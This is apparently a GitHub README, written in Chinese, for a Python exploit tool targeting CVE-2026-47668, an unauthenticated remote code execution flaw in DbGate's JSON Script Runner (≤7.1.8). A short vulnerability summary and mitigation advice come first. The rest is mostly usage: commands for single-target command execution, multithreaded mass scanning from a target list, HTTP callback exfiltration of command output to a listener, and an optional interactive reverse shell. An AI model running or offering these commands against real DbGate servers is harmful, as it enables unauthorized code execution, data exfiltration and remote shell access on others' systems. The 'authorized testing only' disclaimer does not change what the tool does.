Nxploited/CVE-2026-47668
GitHub: Nxploited/CVE-2026-47668
针对 DbGate ≤7.1.8 未授权远程代码执行漏洞(CVE-2026-47668)的自动化验证与利用工具,支持单目标检测、批量扫描、数据外发及反向 Shell。
Stars: 6 | Forks: 0
# CVE-2026-47668 — DbGate 远程代码执行
**DbGate JSON Script Runner (`dbgate-serve` ≤ 7.1.8) 中的未授权 RCE。**
评估工具:**`CVE-2026-47668.py`** — 仅限授权测试。
| | |
|---|---|
| **CVE** | CVE-2026-47668 |
| **严重性** | 严重 |
| **产品** | DbGate / `dbgate-serve` |
| **受影响版本** | ≤ **7.1.8** |
| **修复版本** | ≥ **7.1.9** |
| **CVSS 3.1** | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| **CWE** | CWE-20, CWE-94, CWE-1188 |
## 漏洞
**标题:** 通过 JSON Script Runner 实现的 DbGate 未授权远程代码执行
用户可控字段(`functionName`, `variableName`)在没有进行适当验证的情况下被嵌入到动态生成的 JavaScript 中。攻击者可以在 Node.js runner 子进程中执行任意代码。
| 项目 | 详情 |
|------|--------|
| **Endpoint** | `POST /runners/start` |
| **认证** | 需要 Bearer token;在匿名/默认部署中,可以通过 `POST /auth/login` 获取 token |
| **注入点** | JSON `assign` 命令中的 `functionName`, `variableName` |
| **影响** | 以 DbGate 进程用户的身份执行 OS 命令 |
**缓解措施:** 升级至 **7.1.9+** 版本。限制网络访问,禁用匿名认证,轮换凭证,检查日志中可疑的 `/runners/start` 活动。
## 联系方式
**Telegram:** [@KNxploited](https://t.me/KNxploited)
## 工具概述
**`CVE-2026-47668.py`** 用于检查和验证针对您**已授权**测试的 DbGate 实例的漏洞利用。
**模式**
| 模式 | 反向 shell | 描述 |
|------|---------------|-------------|
| **AUTO** | 否 | 一次提示;token + HTTP 回调 + 默认值 |
| **CLI** | 可选 | 通过标志完全控制 |
| **Mass** | 否 | 从 `targets.txt` 进行扫描 |
| **`--reverse-shell`** | 是 | 可选 TCP 验证(仅限单目标) |
**结果**
| 结果 | 含义 |
|--------|---------|
| **FAIL** | 无法访问、认证失败或不易受攻击 |
| **VULN** | Runner 仅接受了探测 |
| **DISPATCH** | Payload 已发送;**无**确认输出 |
| **EXFIL** | 收到回调 — **已确认命令输出** |
| **REVSH** | 反向 TCP 已连接(仅限可选模式) |
**输出目录:** `Nx/`(vuln, dispatch, exfil, failed, list_report,以及 `exfil/` 下的单目标文件)
## 安装
```
pip install -r requirements.txt
```
**要求:** Python 3.9+, `aiohttp`, `colorama`
## 用法
### AUTO 向导(默认 — 无反向 shell)
```
python CVE-2026-47668.py
```
| 提示符处输入 | 示例 |
|-----------------|--------|
| 单个 URL | `http://192.168.1.10:3000` |
| URL + 命令 | `http://192.168.1.10:3000\|id` |
| 目标列表 | `targets.txt` |
### CLI — 启用标志
每次 CLI 运行**必须**包含 **`--cli`**。
```
python CVE-2026-47668.py --cli [options]
```
### 单个目标
**`-u` / `--url`** — 目标基础 URL
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
```
**`--cmd` / `--command`** — shell 命令(默认:`id`)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
```
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
```
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
```
**`--check-only`** — 仅探测漏洞(无命令)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
```
**`--vector`** — 注入向量:`functionName` \| `variableName` \| `both`
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
```
**`--port`** — URL 未指定端口时的默认端口(默认:**3000**)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
```
**`--token`** — 使用现有的 Bearer token
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
```
**`--login-json`** — 自定义登录请求体(默认:`{"amoid":"none"}`)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
```
**`--timeout`** — HTTP 超时时间(秒)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
```
**`--secure`** — 验证 TLS 证书
```
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
```
### 回调 / 数据外发(CLI 中带 `--cmd` 时的默认行为)
**`--callback-host`** — **目标**用来访问您的监听器的 IP/主机名
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
```
**`--listen-host`** — HTTP 监听器的本地绑定(默认:`0.0.0.0`)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
```
**`--listen-port`** — HTTP 数据外发端口(默认:**8888**)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
```
**`-c` / `--callback`** — 外部回调 URL(禁用内置监听器)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
```
**`--wait-exfil`** — 等待回调的秒数(单目标,默认:**8**)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
```
**`--no-b64`** — 发送输出时不进行 base64 编码
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
```
**`--async-exec`** — 使用异步 `exec` 替代 `execSync`
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
```
### 批量扫描(无反向 shell)
**`-f` / `--file`** — 目标列表文件
```
python CVE-2026-47668.py --cli -f targets.txt --cmd id
```
**`-t` / `--threads`** — 并发工作线程(默认:**30**)
```
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
```
**`--mass-wait-exfil`** — 批量扫描中每个目标的回调等待时间(默认:**8**)
```
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
```
**批量 + 自定义默认端口**
```
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
```
### 反向 shell(可选 — 仅限单目标)
正常测试**不需要**。使用 **HTTP 数据外发** (`--cmd`) 作为 PoC。
**`--reverse-shell`** — 目标连接到 `LHOST:LPORT`(省略值 = LAN IP + 端口 **4444**)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
```
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
```
**`--revsh-port`** — 当 `--reverse-shell` 未指定 `:port` 时使用的端口
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
```
**`--revsh-bind`** — 本地监听地址
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
```
**`--wait-revsh`** — 等待 TCP 连接的时间(默认:**15**)
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
```
**`--revsh-interactive`** — 连接后进行基本的 stdin/stdout 中继
```
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
```
**Docker 注意事项:** 使用**可从 DbGate 容器访问**的 IP(例如主机网关),而不仅仅是你 PC 上的 `127.0.0.1`。
## 目标列表 (`targets.txt`)
```
# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
```
- **无端口** → 自动应用 **3000**
- **`host|command`** → 按行覆盖命令
- 报告:**`Nx/list_report.txt`**
## 输出文件
| 文件 | 内容 |
|------|---------|
| `Nx/vuln.txt` | 存在漏洞的目标(探测正常) |
| `Nx/dispatch.txt` | 已发送 Payload,未确认 |
| `Nx/exfil.txt` | 已确认的回调 |
| `Nx/failed.txt` | 失败的目标 |
| `Nx/exfil/.txt` | 每个目标的命令输出 |
| `Nx/sessions//summary.json` | 会话摘要 |
## 工作流程
1. **`POST /auth/login`** → 获取 Bearer token(除非使用 `--token`,否则自动进行)
2. **探测** → runner 接受注入
3. **`POST /runners/start`** → 运行命令 + HTTP 回调(如果启用,则为反向 TCP)
4. 分类 → **EXFIL** = 确认的输出
## 免责声明
仅供**授权的安全测试**使用。您必须获得明确许可才能测试任何系统。作者不对滥用或非法使用负责。
**作者:Nxploited**
标签:CISA项目, MITM代理, 无服务器架构, 编程工具, 远程代码执行, 逆向工具